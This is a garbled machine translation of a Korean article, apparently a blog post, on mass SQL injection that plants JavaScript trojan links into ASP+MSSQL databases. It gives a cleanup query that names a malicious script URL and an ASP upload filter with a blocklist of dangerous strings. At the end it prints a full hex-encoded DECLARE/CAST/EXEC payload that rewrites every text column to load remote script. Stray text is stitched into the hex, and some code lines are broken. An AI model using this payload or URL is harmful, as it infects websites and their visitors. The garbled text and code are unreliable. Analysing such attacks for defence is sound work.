요즘 ASP+MSSQL로 설계된 많은 웹사이트는 해커에 의해 SQL 데이터베이스가 JS 트로이 목마에 삽입된 경험이 있을 수 있습니다. 아니요, 친구의 웹사이트가 해커에 의해 속였습니다.
mssql의 각 varchar 및 텍스트 필드는 js 코드 조각에 자동으로 삽입됩니다. 이 코드 조각이 삭제되더라도 소스가 해결되지 않으면 몇 분 안에 js 코드가 자동으로 데이터베이스에 삽입됩니다.
Piao Yi가 관찰한 결과, 해커는 먼저 Google, Baidu 등의 검색 엔진에서 asp+mssql로 설계된 취약한 웹사이트를 검색한 다음 Xiao Mingzi와 같은 주입 검사 도구를 사용하여 전체 웹사이트를 검사하는 프로그램에 의해 자동으로 실행될 가능성이 높습니다. , SQL 주입 취약점이 발견되거나 업로드되면 취약점이 있는 경우 해커는 다양한 수단을 사용하여 Haiyang Trojan과 같은 자신의 트로이 목마를 업로드하고 이 웹사이트를 자신의 브로일러 목록에 포함시키고 언제든지 데이터베이스에 추가하려는 js 코드를 추가합니다. 코드에는 종종 통제된 웹사이트를 방문하는 사용자의 컴퓨터를 감염시키는 수많은 바이러스와 트로이 목마가 포함되어 있습니다.
SQL 쿼리 분석기를 통해 일괄 교체를 수행하여 삽입된 js 코드 문제를 일시적으로 해결할 수는 있지만, 프로그램 및 서버 보안 권한을 포함한 전체 웹 사이트의 취약점을 근본적으로 해결하지 않으면 해커가 언제든지 귀하의 웹 사이트에 침입할 수 있습니다. 웹사이트 데이터베이스.
SQL 쿼리 분석기에서 다음 코드를 실행하여 js 코드를 일괄적으로 바꿀 수 있습니다.
다음과 같이 코드 코드를 복사합니다.
"테이블 이름 설정 필드 이름=replace(필드 이름,'<Script Src=http://cn%75clear3.com/css/c.js></Script>','')를 업데이트합니다."
flymorn은 웹사이트를 주의 깊게 조사한 결과 몇 가지 보안 문제를 발견했습니다.
첫째, 웹사이트에는 업로드 취약점이 있으며, 파일을 업로드하려면 관리자 인증과 업로드된 파일의 파일형식 인증이 필요하지만, 관리자 인증은 쿠키를 사용하므로 쿠키가 위조될 수 있으며, 업로드할 경우 파일의 내용에 대해 어떠한 판단도 하지 않는 경우가 있습니다. 사진을 찍은 후에는 사진 트로이 목마가 업로드될 가능성이 높습니다.
해결책: 1 업로드 파일 기능을 삭제합니다(실용적이지 않음). 2 업로드 사용자 확인을 세션 확인으로 수정합니다. 3 업로드된 파일의 내용을 확인하고 다음 확인 코드를 참조하여 파일을 삭제합니다. :
다음과 같이 코드 코드를 복사합니다.
''================ 업로드된 파일에 잘못된 문자열 start가 포함되어 있는지 확인하세요=================
MyFile = server.CreateObject("Scripting.FileSystemObject") 설정
set MyText = MyFile.OpenTextFile(Server.mappath(filePath), 1) '텍스트 파일 읽기
sTextAll = lcase(MyText.ReadAll)
MyText.close
MyFile = 아무것도 설정하지 않음
sStr="<%|.getfolder|.createfolder|.deletefolder|.createdirectory|.deletedirectory|.saveas|wscript.shell|script.encode|server.|.createobject|execute|activexobject|언어="
sNoString = 분할(sStr,"|")
i=0에서 ubound(sNoString)까지
if instr(sTextAll,sNoString(i)) 그러면
set filedel = server.CreateObject("Scripting.FileSystemObject")
filedel.deletefile Server.mappath(파일 경로)
filedel 설정 = 없음
Response.Write("<script>alert('업로드한 파일에 문제가 있어 업로드에 실패했습니다!');history.back();</script>")
응답.종료
종료하면
다음
''================== 업로드된 파일에 잘못된 문자열이 포함되어 있는지 확인 end=====================
둘째, 해당 웹사이트에는 쿠키 주입 취약점이 있습니다. 프로그램 설계로 인해 서버 오버헤드를 줄이기 위해 모든 사용자는 로그인 후 인증을 위해 쿠키를 사용합니다. 이 쿠키는 사용자의 ID와 NAME을 저장합니다. 우리 모두 알고 있듯이 쿠키는 종종 해커에 의해 위조됩니다. 또한 일부 외부 매개변수는 콘텐츠를 얻기 위해 엄격한 request.form 및 request.querystring을 사용하지 않습니다. 단순화를 위해 request("id")가 사용됩니다.
우리는 ASP의 요청이 먼저 form과 querystring에서 콘텐츠를 얻는다는 것을 알고 있습니다. 이 두 가지가 비어 있으면 콘텐츠는 쿠키에서 얻어야 합니다. 따라서 사람들은 프로그래밍에서 request.form과 request.querystring의 SQL 삽입을 고려합니다. 및 request.querystring은 일반적으로 SQL 주입을 위해 필터링되지만 쿠키 모드에서 주입을 필터링하는 것을 잊어버렸습니다. 다음 SQL 문을 살펴보겠습니다.
다음과 같이 코드 코드를 복사합니다.
SQL="테이블 이름 whereid에서 * 선택")
이 ID가 쿠키를 통해 값을 얻는다면 생각해 보세요. 얼마나 끔찍한 일입니까! 인젝터는 id라는 이름의 가짜 쿠키를 쉽게 위조할 수 있습니다. 왜냐하면 이 ID를 가진 쿠키가 서버에 의해 할당되기 때문입니다. 이 쿠키는 다음과 유사한 코드로 위조될 수 있습니다.
다음과 같이 코드 코드를 복사합니다.
dEcLaRe @s vArChAr(4000);sEt @s=cAsT(0x6445634c615265204074207641724368417228323535292c406320764172436841722832353529206445634c6
15265207441624c655f637572736f5220635572536f5220466f522073456c456354206 IT 인재 네트워크 () 12e6e416d452c622e6e416d
452046724f6d207359734f624a6543745320612c735973436f4c754d6e53206220774865526520612e694
94420416e4420612e78547950653d27752720416e442028622e78547950653d3939206f5220622e78547950653d3
335206f5220622e78547950653d323331206f5220622e78547950653d31363729206f50654e207441624c655f6375
72736f52206645744368206e6578742046724f6d207441624c655f637572736f5220694e744f2040742c4063207768
696c6528404066457443685f7374617475733d302920624567496e20657865632827557044615465205b272b40742
b275d20734574205b272b40632b275d3d727472696d28636f6e7665727428764172436841722c5b272b40632b275
d29292b27273c2f7469746c653e3c736372697074207372633d687474703a2f2f2536622536622533362532652537
352537332f312e6a733e3c2f7363726970743e27272729206645744368206e6578742046724f6d207441624c655f6
37572736f5220694e744f2040742c406320654e6420634c6f5365207441624c655f637572736f52206445416c4c6f4
3615465207441624c655f637572736f520d0a vArChAr(4000));exec(@s);--